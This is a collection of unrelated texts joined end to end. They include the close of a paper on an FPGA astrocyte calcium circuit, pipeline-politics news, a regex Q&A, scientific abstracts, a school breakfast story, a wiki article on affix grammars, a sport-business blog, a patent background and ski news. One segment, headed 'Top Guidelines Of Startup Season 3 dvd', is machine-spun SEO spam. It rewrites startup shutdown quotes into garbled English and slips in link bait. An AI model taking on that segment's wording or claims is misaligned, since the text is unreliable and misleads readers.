Finally, the fourth row of [Figure 6](#F6){ref-type="fig"} depicts the stability behavior of the calcium signal for IP~3~ = 0.125 μM and 1.2 μM, and in this interval the information of external stimulation is encoded in both frequency and amplitude of intracellular calcium oscillations (AFM). Next, to identify the performance of the proposed astrocyte in hardware, the IF digital circuit is used to produce spike trains and thus to trigger the calcium oscillations within the astrocytes (releasing 2_AG to generate IP~3~). The produced IP~3~ causes *Ca*^2+^ variations to be initiated. The experimental setup to test the proposed digital circuit is shown in [Figure 7](#F7){ref-type="fig"}. The digital circuits ([Figures 2](#F2){ref-type="fig"}--[5](#F5){ref-type="fig"}) are run on the ZedBoard. [Figures 8C](#F8){ref-type="fig"}, [9C](#F9){ref-type="fig"} demonstrate the photo of the oscilloscope screen when FPGA executes the digital circuit. A 16-bit D/A converter (MAX5216PMB1 module) was used to convert the individual signal to an analog signal.
{#F7}
{#F8}
{#F9}
In [Figure 8](#F8){ref-type="fig"}, the first row displays IP~3~, the second and third rows show $m_{\infty}^{3}\ $and $n_{\infty}^{3}$ functions, the fourth row is the dynamic of J~pump~ and the fifth and the last rows show the dynamic of *h* variable and the *Ca*^2+^ fluctuations, respectively. The first and second columns of [Figure 8](#F8){ref-type="fig"} represent the MATLAB simulations of the biophysical and linear models, the third column shows ISE simulations and the last column illustrates the oscilloscope screen for individual variables. Comparing different panels, it is apparent that VHDL simulations and digital circuit execution produce similar responses to the original biophysical model simulated in MATLAB, qualitatively.
Experimental observations propose that the frequency of intracellular calcium oscillations is likely to be the common way of synaptic activity encoding (Parpura, [@B31]). Increases in intensity or frequency of synaptic stimulation induce an equivalent increase in the frequency of calcium fluctuations. It should be pointed out that over the past years, it was shown that calcium signals in response to external stimuli may encode information through frequency modulation (FM) along with amplitude modulation (AM) (Berridge, [@B3]). While both types of dynamics have been seen separately, it is expected that they also coexist (Carmignoto, [@B4]). Nevertheless, the physiological bases for such coexistence are not yet understood well. In the AM mode, the peak value of calcium responses encodes the information on the level of *IP*~3~. It is directly linked to the strength of the stimulus affecting the cell. In the FM mode, variations in *IP*~3~ trigger calcium responses in which information is encoded in the inter-spike intervals. In the AFM case, both features contain information, which can be separately decoded by downstream effectors (Ono et al., [@B29]; John et al., [@B17]).
We will continue by performing further simulations to reveal the effectiveness of the proposed digital circuit in encoding external stimuli via complex intracellular calcium patterns either in the form of AM, FM, or AFM. In [Figure 9](#F9){ref-type="fig"}, we apply the *IP*~3~ stimulus signal with different amplitudes. In this simulation, the initial value of the *IP*~3~ is set at 0.4 μM, at *t* = 150 s it is increased to 0.6 μM for 200 s and finally, at *t* = 350 s, it is reduced to its original value. [Figure 9](#F9){ref-type="fig"} shows the multimodal information encoding in the digital astrocyte. First, we apply the *IP*~3~ signal and, as seen in the second row, the amplitude of the calcium oscillations increases/decreases as *IP*~3~ increases/decreases, whereas their frequency is practically constant. Therefore, information about the level and amount of resealed *IP*~3~ is encoded in the amplitude but not in the oscillation frequency, so that the digital circuit shows the AM mode of information encoding. In the third row, information encoding in the FM mode can be seen easily. Indeed, as the level of *IP*~3~ changes, the amplitude of the Ca^2+^ oscillations is almost constant while the frequency increases accordingly. Finally, the fourth row shows the AFM information encoding mechanism by the digital astrocytes. In this case, any alteration at the level of *IP*~3~ not only changes the amplitude of Ca^2+^ oscillations but it also varies the frequency of oscillations as well. Noteworthily, the results of the MATLAB simulation, seen in [Figure 9A](#F9){ref-type="fig"}, are in good agreement with the results obtained in ISE simulations in [Figure 9B](#F9){ref-type="fig"} and with the real implementation of the digital circuit on the ZedBoard, [Figure 9C](#F9){ref-type="fig"}. Indeed, [Figure 9C](#F9){ref-type="fig"} shows the photo of the oscilloscope screen when the digital circuits are running on the ZedBoard.
To compare the dynamic behavior of the biophysical model and the proposed digital circuit, the phase planes (Ca^2+^ - h), (Ca^2+^ - J~chan~), and (h - J~chan~) are depicted in [Figure 10](#F10){ref-type="fig"}. This test is commonly used in the study of dynamical systems to describe qualitative changes of the behavior of the system as one or more control parameters are altered (Amiri et al., [@B2]).
{#F10}
As can be seen, the dynamic behavior of the original model simulated in MATLAB, shown in [Figure 10A](#F10){ref-type="fig"}, is similar to the qualitative behavior of trajectories in the linear model simulated in MATLAB ([Figure 10B](#F10){ref-type="fig"}) and the proposed digital circuit ([Figure 10C](#F10){ref-type="fig"}). In this way, the dynamic characteristics of the original model are maintained by the digital circuit, which was designed based on the linear model. Hence, not only the proposed neuromorphic circuit could maintain the performance and behavior of original model, but also by using the piecewise-linear model was low-cost hardware obtained.
To obtain a quantitative accuracy, we use the RMSE, which is calculated by (14). *Y*~*real*~ is the value obtained by a MATLAB simulation of the original model and *Y*~*digital*~ defines the value acquired by hardware running of the digital circuit. In addition, we calculate NRMSE, which is the normalized value of RMSE as computed in (15). The results of quantitative comparison between MATLAB simulation and the digital circuit in ISE are listed on [Tables 5](#T5){ref-type="table"}, [6](#T6){ref-type="table"}, and very low values of RSME and NRSME show the reliability of the proposed digital circuit. Considering the fact that error accumulates through calculations, we calculated the error values in the 10th cycle to be sure that the errors converge to a nearly constant value.
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The RMSE and NRMSE for the original model in MATLAB and digital realization in ISE ([Figure 8](#F8){ref-type="fig"}).
**Function** **RMSE** **NRMSE**
------------------ ---------- -----------
V 0.0021 0.0020
AG 0.0043 0.004228
*IP*~3~ 0.0196 0.05418
*J*~*pump*~ 0.0561 0.0889
$m_{\infty}^{3}$ 0.003 0.0091
$n_{\infty}^{3}$ 0.0429 0.08626
*H* 0.0082 0.0418
*Ca*^2+^ 0.0441 0.1018
######
The RMSE and NRMSE for the original model in MATLAB and digital realization in ISE ([Figures 6](#F6){ref-type="fig"}, [9](#F9){ref-type="fig"}).
**Function** **Modulation** **RMSE** **NRMSE**
-------------- ---------------- --------------------------------- -----------
*Ca*^2+^ [Figure 6](#F6){ref-type="fig"}
AM 0.1952 0.2782
FM 0.2726 0.2910
AFM 0.2184 0.3088
[Figure 9](#F9){ref-type="fig"}
AM 0.1739 0.3075
*Ca*^2+^ FM 0.2563 0.3083
AFM 0.2304 0.3391
Conclusion {#s4}
==========
Over the past decades, accumulating experimental and computational evidence expanded our knowledge about the key role of astrocytes in the brain and suggested that they are essential and active elements in neuronal information processing (Perea and Araque, [@B32]; Perea et al., [@B33]; Santello et al., [@B39]). Furthermore, new improvements in FPGA technology provide superior flexibility for algorithm exploration.
Although cellular calcium signaling was already used for realization of information processing (Heyde and Ruder, [@B14]), the use of astrocytic calcium oscillations in the neural information processing is less studied. The present study showed a new angle to analyze neuron--astrocyte crosstalk in hardware. Comparing with the other related digital implementations, to the best of our knowledge, this is the first neuromorphic circuit which realizes a more detailed model of astrocyte Ca^2+^ signaling. Indeed, in response to the external stimuli, the Ca^2+^ oscillations observed in the proposed digital circuit of astrocyte could encode information in the form of frequency modulation or amplitude modulation or both. Other previous hardware realizations (Soleimani et al., [@B41]; Ranjbar and Amiri, [@B37]; Karimi et al., [@B21]) have utilized a simple computational model of Ca^2+^ dynamics, and thus they are not able to show these information-encoding mechanisms. The results of running the proposed circuit on the FPGA illustrated acceptable performance with a very low error value between the proposed hardware and MATLAB simulations. Different types of information encoding including AM, FM, and AFM were successfully done in the real execution of the proposed circuit on the ZedBoard. Moreover, the proposed digital realization using PWL and SCM methods has consisted of simple arithmetic operations and has no important limitation.
The proposed hardware-based approach for encoding neural information through astrocytic calcium oscillations can be used in self-repairing neural networks (Liu et al., [@B25]) and spike-based learning mechanisms (Johnson et al., [@B18], [@B19]) in spiking neural networks through astrocyte-neuron interactions. Future works will develop a network of these neuromorphic circuits to enhance the neuronal information processing/learning capabilities. Finally, the approach presented here may outline a new way to link neuronal/astrocyte cells to the hardware systems by connecting artificial and biological neural networks in future works.
Data Availability Statement {#s5}
===========================
The data supporting the conclusions of this manuscript will be made available by the authors to any qualified researcher upon request.
Author Contributions {#s6}
====================
FF, FA, MA, and BL-B did conception and design, interpretation of results, drafting, and revising the article. FF and FA performed the experiments and acquired the data.
Conflict of Interest
--------------------
The authors declare that the research was conducted in the absence of any commercial or financial relationships that could be construed as a potential conflict of interest.
The authors would like to thank the esteemed reviewers for their insightful comments. FF, FA, and MA would like to thank Mr. Nima Salimi-Nezhad and Mrs. Maryam Rajabalipanah for their valuable assistance.
**Funding.** This work was partly funded by EU H2020 project HERMES (SEP-210506703) and we acknowledge partial support of the publication fee by the CSIC Open Access Publication Support Initiative through its Unit of Information Resources for Research (URICI). MA was supported by the Kermanshah University of Medical Sciences, Kermanshah, Iran.
Supplementary Material {#s7}
======================
The Supplementary Material for this article can be found online at: <https://www.frontiersin.org/articles/10.3389/fnins.2019.00998/full#supplementary-material>
######
Click here for additional data file.
[^1]: Edited by: Michael Schmuker, University of Hertfordshire, United Kingdom
[^2]: Reviewed by: Junxiu Liu, Ulster University, United Kingdom; Moslem Nouri, Razi University, Iran
[^3]: This article was submitted to Neuromorphic Engineering, a section of the journal Frontiers in Neuroscience
|
Top Guidelines Of Startup Season 3 dvd
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Top Guidelines Of Startup Season 3 dvd
We experimented with to make a quick-scaleable organization, but recognized the organization design will not work. So it is better this cash gets deployed in other places rather than us hoarding it and hoping that a thing superior happens.
Dealstruck closed its doors just after in excess of a few several years in enterprise. It didn't close for the reason that the customer foundation isn’t there or as a consequence of a lack of desire for its lending items. It shut due to the fact a deal fell as a result of.
[CEO and co-founder Adam] Tilton wouldn’t comment on the precise issues Rithmio confronted or why it shut down. He stated he strategies to ship out a push release in the approaching months as being a “postmortem” on the business, introducing that “all the same old startup classes had been discovered.”
In combination with a lag in sales, new product or service worries arose and really before long I started to concern myself. With Each individual pitch following that period of question—regardless of whether it had been to a woman at a party or an interested investor—my enthusiasm and perceived assurance dwindled.
The judge has issued a preliminary injunction versus VidAngel, necessitating that we pull down each of the studios’ information. We're trying to get a keep of the injunction, but when our initiatives are unsuccessful, we will require to consider down the movies of all main studios.
In an e-mail circulated by the business, Puddle founders said that after five years of operation the businesses design was “unsustainable.”
BTCjam, a P2P marketplace introduced in 2012 to borrow and lend utilizing bitcoin, introduced the corporation has created “the difficult final decision” to close up shop, Based on many information resources.
At some point I had to realise that our basic strategy was flawed. A lot of people (ninety five+%) just don’t care plenty of with regards to their presentations.
We started off VATLER over the summertime of 2014 as an on-desire valet services in San Francisco … We gained a mobile phone contact from your law enforcement department telling look at this site us that our permits had not been granted and so they gave us a warning since we were being working illegally in a lot of our locations…In 2 months, we missing significant accounts and 30% of our earnings streams without any standpoint of development.
Customers on the former administration workforce have already been placed on suspension over the investigation. The misconduct was reported to get “probable set up For the reason that TrustBuddy platform started operation”.
Every single member of our now pared-down team understood you could try here accurately the amount of runway the company experienced remaining, the position of our strategic talks, as well as the acknowledged extensive odds we confronted being a going issue.
P&G also refused to permit AudienceScience to carry out function for other CPG clientele or converse publicly regarding their romance, which intended AudienceScience couldn’t pitch business determined by its most exceptional customer earn.
The contents you are trying to find have moved. You'll be redirected to the new site instantly in 1 seconds. In case your browser won't redirect you to definitely The brand new location please Just click here. |
Prime Minister Justin Trudeau linked Indigenous reconciliation and the expansion of the Trans Mountain pipeline Tuesday as he met with a group in British Columbia that monitors construction of the project and chatted with an Indigenous chief who denies climate change. Trudeau told the Indigenous Advisory and Monitoring Committee that while he doesn't take the presence of First Nations' leaders at the meeting in Rosedale as direct approval for the pipeline, he does see their attendance as support for reconciliation that both sides need to work on. He said the purpose of the committee is to make sure the project is done right, with minimal concerns and maximizing benefits.
Among the committee members is Chief Ernie Crey, who recently told media outlets the Cheam First Nation would consider buying a stake in the pipeline, depending on the circumstances and what's involved. Crey has said the expansion project will benefit his community, located near Chilliwack, B.C. Crey is one of the most vocal Indigenous supporters of the pipeline project, regularly posting commentary and sharing articles promoting the project through social media. He also recently told Vice News in an interview for a documentary that "the jury is still out" on whether climate change is caused by humans. "I'm not a scientist, I don't know for sure," he said to Vice News. "But I'm not convinced the jury is really in on the role of, the contribution of human settlements to climate change. I don't think the jury is in, finally." Crey's comments run counter to accepted scientific evidence showing that human activity, including the burning of fossil fuels such as the heavy oil produced in Alberta's oilsands region, is warming the planet and causing dangerous changes to ecosystems that threaten life on Earth. Opponents of the Trans Mountain expansion project have said that new pipelines should be stopped to prevent further expansion of fossil fuels that would exacerbate climate change and threaten the economy.
The federal government is spending $4.5 billion to buy the pipeline from Kinder Morgan to ensure the expansion goes ahead. Indigenous groups may invest in the pipeline About three dozen people protested outside the meeting, including Eddie Gardner of the Wild Salmon Defenders Alliance, who says Trudeau is "deluded" if he thinks the project is compatible with the environment. A federal government source says more Indigenous groups support the Trans Mountain's expansion project than oppose it, and there's more of an opportunity for them to participate in the economic benefits of the project now that it will be owned by the government rather than a private company. The source added "it's possible" that the government would backstop Indigenous groups to enable them to buy a stake in the pipeline or they could also be included in any market-driven offer to purchase it. Finance Minister Bill Morneau said in Calgary last week that many parties have expressed interest in investing in the project, including Indigenous groups. "We're not seeking to make a profit. We're seeking to ensure the project gets done, but we will always try and make sure the project presents a fair situation for Canadians,'' he said. Several First Nations remain staunchly opposed to the $7.4-billion expansion project, which would triple capacity of the pipeline running between Edmonton and Burnaby, B.C. Some Indigenous groups have launched legal challenges against the project, arguing Ottawa did not adequately consult First Nations communities before it was approved, violating their rights.
Trudeau was also scheduled to be in Edmonton later Tuesday to visit a Kinder Morgan terminal. — With files from the Canadian Press Editor's note: This article was updated at 4:50 p.m. ET on June 5 with new comments by Ernie Crey, reported by Vice News. |
Q:
Regex Matching - A letter not preceded by another letter
What could be regex which match anystring followed by daily but it must not match daily preceded by m?
For example it should match following string
beta.daily
abcdaily
dailyabc
daily
But it must not match
mdaily or
abcmdaily or
mdailyabc
I have tried following and other regex but failed each time:
r'[^m]daily': But it doesn't match with daily
r'[^m]?daily' : It match with string containing mdaily which is not intended
A:
Just add a negative lookbehind, (?<!m)d, before daily:
(?<!m)daily
The zero width negative lookbehind, (?<!m), makes sure daily is not preceded by m.
Demo
|
Polarized Raman and IR spectra of oriented Cd(0.9577)Gd(0.0282)□(0.0141)MoO4 and Cd(0.9346)Dy(0.0436)□(0.0218)MoO4 single crystals where □ denotes the cationic vacancies.
Polarized Fourier Transform IR and Raman spectra of Cd0.9577Gd0.0282□0.0141MoO4 and Cd0.9346Dy0.0436□0.0218MoO4 oriented single crystals have been recorded and analyzed using the factor group approach (□ denotes the cationic vacancies). The tetragonal I41/a (C4h(6)) space group with Z=2 has been applied in the discussion. The influence of the structural changes induced by the defects in the CdMoO4 host lattice on the vibrational symmetry rules has been analyzed. The assignment of the observed bands to the internal and external modes has been proposed. |
Jordan Middle School's A students are rewarded with pancakes
Sixth-grader Rami Makarem, 11, left, who achieved straight A's, and sixth-grader David Miller II, also 11, who earned three A's, enjoy their pancake breakfast at Jordan Middle School in Burbank.
Sixth-grader Rami Makarem, 11, left, who achieved straight A's, and sixth-grader David Miller II, also 11, who earned three A's, enjoy their pancake breakfast at Jordan Middle School in Burbank. (Photo by Joyce Rudolph)
Joyce Rudolph
Straight-A student Rami Makarem, 11, had three words to say as his fork was poised over two pancakes on the paper plate Friday morning before class.
“They taste delicious,” said the Jordan Middle School sixth-grader.
The event was the annual “A's Breakfast,” and 750 students who earned an A on their report card were treated to a pancake breakfast beginning at 6:45 a.m., said Principal Stacy Cashman.
Administrators, teachers, secretaries, instructional assistants and custodians all did their part to make the students feel special.
The estimate of pancakes served was 1,500, said culinary arts teacher Doreen Wydra, who stepped in to run the event for teacher Terri Kim who is on maternity leave.
Students appreciated the recognition.
“It's fun!” said eighth-grader Ariel Ramirez, 13, who earned three A's. “They make good pancakes and it's free.”
Nathalie Celio, 12, a seventh-grader, earned four A's on her report card in English, science, physical education and art, she said.
“The kids who got an A deserve the pancakes,” she said.
“It's cool!” said Collin Johnson, 11. He received A's in physical education and in his computer class. “You never see this at other schools.”
The students display a lot of pride during the breakfast, said custodian Gary Rapp, who attended Jordan in the 1970s.
“The kids absolutely love this breakfast and we love doing it for them,” he said. “They come in with their shoulders back. This is just a fantastic event.”
The A's Breakfast tradition started about 30 years ago and was the brainchild of former guidance counselor Marv Cira, said Karla Buffington, physical science teacher. Funds for the breakfast are raised during the PITS (Parents Interested Teachers and Students) Talent Show, Cashman said. |
Affix grammar
An affix grammar is a kind of formal grammar; it is used to describe the syntax of languages, mainly computer languages, using an approach based on how natural language is typically described.
The grammatical rules of an affix grammar are those of a context-free grammar, except that certain parts in the nonterminals (the affixes) are used as arguments. If the same affix occurs multiple times in a rule, its value must agree, i.e. it must be the same everywhere. In some types of affix grammar, more complex relationships between affix values are possible.
Example
We can describe an extremely simple fragment of English in the following manner:
Sentence → Subject Predicate
Subject → Noun
Predicate → Verb Object
Object → Noun
Noun → John
Noun → Mary
Noun → children
Noun → parents
Verb → like
Verb → likes
Verb → help
Verb → helps
This context-free grammar describes simple sentences such as
John likes children
Mary helps John
children help parents
parents like John
With more nouns and verbs, and more rules to introduce other parts of speech, a large range of English sentences can be described; so this is a promising approach for describing the syntax of English.
However, the given grammar also describes sentences such as
John like children
children helps parents
These sentences are wrong: in English, subject and verb have a grammatical number, which must agree.
An affix grammar can express this directly:
Sentence → Subject + number Predicate+number
Subject + number → Noun + number
Predicate + number → Verb + number Object
Object → Noun + number
Noun + singular → John
Noun + singular → Mary
Noun + plural → children
Noun + plural → parents
Verb + singular → likes
Verb + plural → like
Verb + singular → helps
Verb + plural → help
This grammar only describes correct English sentences, although it could be argued that
John likes John
is still incorrect and should instead read
John likes himself
This, too, can be incorporated using affixes, if the means of describing the relationships between different affix values are powerful enough. As remarked above, these means depend on the type of affix grammar chosen.
Types
In the simplest type of affix grammar, affixes can only take values from a finite domain, and affix values can only be related through agreement, as in the example.
Applied in this way, affixes increase compactness of grammars, but do not add expressive power.
Another approach is to allow affixes to take arbitrary strings as values and allow concatenations of affixes to be used in rules. The ranges of allowable values for affixes can be described with context-free grammar rules. This produces the formalism of two-level grammars, also known as Van Wijngaarden grammars or 2VW grammars. These have been successfully used to describe complicated languages, in particular, the syntax of the Algol 68 programming language. However, it turns out that, even though affix values can only be manipulated with string concatenation, this formalism is Turing complete; hence, even the most basic questions about the language described by an arbitrary 2VW grammar are undecidable in general.
Extended Affix Grammars, developed in the 1980s, are a more restricted version of the same idea. They were mainly applied to describe the grammar of natural language, e.g. English.
Another possibility is to allow the values of affixes to be computed by code written in some programming language. Two basic approaches have been used:
In attribute grammars, the affixes (called attributes) can take values from arbitrary domains (e.g. integer or real numbers, complex data structures) and arbitrary functions can be specified, written in a language of choice, to describe how affix values in rules are derived from each other.
In CDL (the Compiler Description Language) and its successor CDL2, developed in the 1970s, fragments of source code (usually in assembly language) can be used in rules instead of normal right-hand sides, allowing primitives for input scanning and affix value computations to be expressed directly. Designed as a basis for practical compiler construction, this approach was used to write compilers, and other software, e.g. a text editor.
References
Category:Formal languages
Category:Compiler construction
Category:Syntax
Category:Grammar frameworks |
A new report from the Palm Beach Post shows Trump used a “dirty tax scam” to avoid millions in taxes. This, as new analysis shows Trump could save more than 11 million in the new GOP tax bill. |
Information Graphics, Photos and Images
Public Transportation Savings [Infographic]
admin • 6 years ago
In today’s modern world there are several “green” movements that are attempting to enrich the planet and make it a better, more sustainable place to live. Activities ranging from planting trees to using biodegradable or reusable grocery bags are among the ways that people are helping the environment, but one of the most vitally important ways to help involves getting from Point A to Point B: carpooling and public transportation.
Today’s infographic from creditdonkey.com outlines the positive impact that increased public transportation has made in the past few years. Thanks to so many people opting not to use their cars, as much as 37 million tons of CO2 are not released and 340 million gallons of fuel aren’t used annually. That’s a lot of saved money on gas!
If you live in a metropolitan area, public transportation is a great way to not only dip less into our natural resources but also to help potentially save a good deal of money on the cost of getting around, and carpooling can be equally as helpful for those that don’t live near public means of transportation.
For more information on the benefits of public transportation refer to the infographic below. |
Radiation therapy remains the key cost driver of oncology inpatient treatment.
Current radiation therapy capacities in Serbia and most of Eastern Europe are heavily lagging behind population needs. The primary study aim was assessment of direct costs of cancer medical care for patients suffering from cancer with assigned radiotherapy-based treatment protocols. Identification of key cost drivers and trends during 2010-2013 comparing brachytherapy and teleradiotherapy was a secondary objective of the study. Retrospective, bottom-up database analysis was conducted on electronic discharge invoices. Payer's perspective has been adopted with a 1-year long time horizon. Total sample size was 2544 patients during a 4-years long observation period (2010-2013). The sample consisted of all patients with confirmed malignancy disorder receiving inpatient radiation therapy in a large university hospital. Diagnostics and treatment cost of cancer in the largest Western Balkans market of Serbia were heavily dominated by radiation therapy related direct medical costs. Total costs of care as well as mean cost per patient were steadily decreasing due to budget cuts caused by global recession. The paradox is that at the same time the budget share of radiotherapy increased for almost 15% and in value-based terms for €109 per patient (in total €109,330). Second ranked cost drivers were nursing care and imaging diagnostics. Costs of high-tech visualizing examinations were heavily dominated by nuclear medicine tests. The budget impact of radiation oncology to the large tertiary care university clinics of the Balkans is likely to remain significant in the future. Brachytherapy exhibited a slow growth pattern, while teleradiotherapy remained stable in terms of value-based turnover of medical services. Upcoming heavy investment into the national network of radiotherapy facilities will emphasize the unsatisfied needs. Huge contemporary budget share of radiotherapy coupled with rising cancer prevalence brings this issue into the hot spot of the ongoing cost containment efforts by local governments. |
Benefits of glass fibers in solar fiber optic lighting systems.
The transmission properties and coupling of solar light have been studied for glass core multimode fibers in order to verify their benefits for a solar fiber optic lighting system. The light transportation distance can be extended from 20 m with plastic fibers to over 100 m with the kind of glass fibers studied here. A high luminous flux, full visible spectrum, as well as an outstanding color rendering index (98) and correlated color temperature similar to the direct sun light outside have been obtained. Thus the outstanding quality of solar light transmitted through these fibers would improve the visibility of all kinds of objects compared to fluorescent and other artificial lighting. Annual relative lighting energy savings of 36% in Uppsala, Sweden, and 76% in Dubai were estimated in an office environment. The absolute savings can be doubled by using glass optical fibers, and are estimated to be in the order of 550 kWh/year in Sweden and 1160 kWh/year in Dubai for one system of only 0.159 m(2) total light collecting area. The savings are dependent on the fiber length, the daily usage time of the interior, the type of artificial lighting substituted, the system light output flux, and the available time of sunny weather at the geographic location. |
Saturday, May 11, 2013
The fact that Physical Education and Sport are now being recognised rightfully as an academic course and business respectively - this has opened up discussions which are highlighting the lack of understanding of the subject areas. I would clearly state here
* There is a difference between Physical Education and Sport
* Physical Education now has for the last five years, exams at the highest level from CSEC and to be offered soon at the CAPE level
* Sport, through its competition has been known to impact on a society - socially, economically, psychologically
* Sport Business world wide is valued at close to a trillion dollars
Based on some recent outbursts, there may be suggestions that sport is being overused in high schools; is distracting the institutions from their core work; is damaging the reputation of students. I challenge the writer that the rest of the education system needs to catch so it can efficiently and effectively manage its portfolio, which includes Physical Education.
The study of Physical Education is academic, it looks closely of the study of the relationship with mind, body and soul. What about that isn't academic? Then Sport is the competitive, strategic and now economic viability of PE aimed at generating wealth, equality and recognition for people and country.
We treat tradition as tradition and think we should not make adjustments, because that is what it is...tradition. But the non-traditional PE and Sport, having become more user-friendly has used the traditional methods to overtake its competition (pun intended). What that process is dynamic, some of us are still stuck in the normal mode and not realising the potential of equality in the education system where we all can benefit.
Picture this, a school, college, university where the best of the traditional and non-traditional meets....the athletes in any of those institutions are managed by their peers in the traditional line. Where the community stadium is managed by the people there and the earnings are spent there to improve services, accessories and the lives of people. What about this don't we get?
The Business Model has been presented by The Business of Sport and I invite the doubters to engage us to catch up to speed with the information. Research has also shown that sport can be used as 'soft power' for a nation such as Jamaica which continues to battle with its economic activities. I could make the same justification for music and entertainment.
One of the challenges of being in a small circle, is none of us are willing to make bold decisions and move on with the programme; we have (The Business of Sport) and we urge you to join us.
Education needs to be redefined in Jamaica as part of a community where Parents, Teachers, Community Leaders forge partnerships with the students to build a nation. I challenge the Ministry of Education to create this model for growth for education. Be open to ideas that work and use people who are capable to manage.
Get in the Game!
Saturday, May 4, 2013
The third edition of the International Conference of The Business of Sport just ended in Kingston this past week and from all indications, the Caribbean at large has great potential. How many times are we going to be saying that though? And we will....however, there are some glaring opportunities available from this billion dollar industry (estimated at 632 billion US dollars) that makes up the world wide stake. The Caribbean with an estimated 7 million population which has produced some of the world's best in recent times is certainly creating those chances.
The concept of the trilogy - the athlete, coach and manager to brand development, image rights, financial literacy, role of government to taking that break were the topics discussed at this year's renewal under the theme Change the Game. The other discussions were Get in the Game and Stay in the Game. How then can we really Change the Game?
In borrowing a mission from Access Athletes, The Business of Sport is really "designed to provide professional athletes with the necessary tools to empower themselves and master their careers", but we can add that this process will also provide employment for support staff, a community and ultimately a nation, while strategically positioning the athlete, sport and the country's image.
The point is, we all can get involved - we consume the product of sport through devices, live and related events; we buy merchandise , we follow them on social media, we send our children to camps and there are so many other ways to connect; so we have to consider who are the major contributors, sponsors to these brands (athletes) which generate a significant amount of money to be able to keep the business of sport ongoing?
We are - we pay for the events, goods and we buy related products. How many of us, may want to buy a beverage because one of our favourite athletes promotes it? Or who wants to buy a shoe because....we know the answer.
On the other hand, there are always the other side to the story....these same athletes make mistakes, all kinds of mistakes, not in keeping with the image that we want and then what...
The Business of Sport then aims to educate, inform and provide a platform for entertainment. We are cognisant of that fact and the partners at Samuda & Johnson, Strategic Corporate Intervention Limited & Carole Beckford & Associates are committed to making this happen.
See you in 2014... we will tell you where. We will Spread the Game!
Keep in touch at [email protected] |
There is an increasing demand for higher image qualities in image forming apparatuses, such as copy machines, laser printers, and facsimile machines. Particularly, in full-color printing applications, there is the problem of image displacement in multi-color images.
A photosensitive drum used for forming an image by an electrophotographic technology is typically subjected to the processes of charging, latent image formation and development, image transfer, and cleaning by various units disposed around the photosensitive drum while the photosensitive drum is rotated. In order to achieve high image quality, an entire surface of the photosensitive drum needs to be uniformly charged and developed under uniform developing conditions.
Because the photosensitive drum is rotated during such processes, the photosensitive drum is required to have a high runout accuracy (which indicates the amount of variation in the distance between a rotation center and a peripheral surface of the photosensitive drum). Generally, the photosensitive drum includes a cylindrical base of a metal, such as aluminum. On an outer peripheral surface of the cylindrical base, a photosensitive layer is provided. The cylindrical base with the photosensitive layer formed thereon may be referred to as a “sleeve member”. Further, flange members are attached to end-opening portions at the ends of the sleeve member in the axial direction thereof.
The photosensitive drum is supported by, and rotated with respect to, an apparatus main body via the flange members and a shaft member engaged in axle openings provided in the flange members. Thus, the flange members need to be accurately and securely attached to the end-opening portions of the sleeve member. In order to achieve a smooth and accurate rotation of the photosensitive drum, the axle openings in the flange members need to be aligned with the central axis of the sleeve member at all times. Further, in order to allow the photosensitive drum to be rotated smoothly and without error, the flange members need to be prevented from idly rotating with respect to the sleeve member or being detached therefrom. For these purposes, the sleeve member and the flange members are typically assembled by press fitting (in combination with an adhesive, as needed).
In comparison with the base of the sleeve member, the flange members generally have lower rigidity. As a result, the flange members may be deformed at the time of press fitting, resulting in the deformation or displacement of the axle openings of the flange members. Specifically, the flange member includes a press-fitted portion that is press-fitted in the end-opening portion of the sleeve member, an axle opening portion including the axle opening, and a linking portion that extends in a direction parallel to a circular cross section of the sleeve member upon press fitting. The linking portion links the axle opening portion with the press-fitted portion. When the press-fitted portion is press-fitted in the end-opening portion of the sleeve member, an outer peripheral surface of the press-fitted portion that contacts an inner peripheral surface of the end-opening portion is subjected to stress from the inner peripheral surface of the sleeve member. When the stress is transmitted from the press-fitted portion via the linking portion to the axle opening portion, the axle opening in the axle opening portion is deformed or displaced.
When the axle opening is deformed or displaced, the position of the axle opening of the flange member with respect to the central axis of the sleeve member is displaced, thereby decreasing the runout accuracy. It has been difficult to manufacture the photosensitive drum having a high runout accuracy in a stable manner.
Japanese Laid-open Utility Model Publication 01-136959 (“Patent Document 1”) discusses a flange member having an elastic structure. However, the stress absorbing capacity of this elastic structure is not very high, so that the axle opening may be readily deformed or displaced, resulting in low runout accuracy. Further, the structure of Patent Document 1 includes areas where the sleeve member and the flange member are not in close contact with each other, resulting in the problem of idle rotation or detachment.
Japanese Laid-open Patent Publication No. 08-123251 (“Patent Document 2”) or Japanese Laid-open Patent Publication No. 10-288917 (“Patent Document 3”) discloses a flange structure in which the linking portion includes straight ribs and opening portions between the ribs. By providing the opening portions, when the outer peripheral surface of the press-fitted portion is subjected to stress from the inner peripheral surface of the sleeve member, the stress can be absorbed by deformation of the linking portion around the opening portions. In this way, the deformation or displacement of the axle opening due to the stress applied to the axle opening portion can be prevented.
However, in the disclosures of Patent Documents 2 and 3, the ribs linking the press-fitted portion and the axle-opening portion are straight-shaped. Thus, when the stress is applied to the straight ribs in a direction along the length of the ribs, the stress is not absorbed by the opening portions upon press fitting but instead directly transmitted to the axle opening portion. As a result, the axle opening is deformed or displaced, resulting in a decrease in the runout accuracy.
The above problems may arise not just in the flange members attached to the sleeve member for the photosensitive drums, but also in the case of any flange member that is press-fitted in an end-opening portion of a cylindrical member. |
Q:
Static Analysis tool recommendation for Java?
Being vaguely familiar with the Java world I was googling for a static analysis tool that would also was intelligent enough to fix the issues it finds. I ran at CodePro tool but, again, I'm new to the Java community and don't know the vendors.
What tool can you recommend based on the criteria above?
A:
Findbugs
PMD
Checkstyle
Lint4J
Classycle
JDepend
SISSy
Google Codepro
A:
FindBugs, PMD and Checkstyle are all excellent choices especially if you integrate them into your build process.
At my last company we also used Fortify to check for potential security problems. We were fortunate to have an enterprise license so I don't know the cost involved.
A:
I recommend FindBugs. http://findbugs.sourceforge.net/ Good in assisting to do code review.
|
Cecilio Padilla
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TUOLUMNE COUNTY— Central Valley skiers rejoice! Tuolumne County’s Dodge Ridge ski area is finally opening its doors, thanks to recent winter storm. The resort is reporting that, over the past week, about 51’’ of snow fell at the summit, while 20-24’’ fell in the mid-mountain range. About a foot of new snowfall fell at the base. In all, the resort’s chairs 5, 7, 8 and T Bar-643 will be operating. Only limited beginner terrain will be available, the resort notes, […]
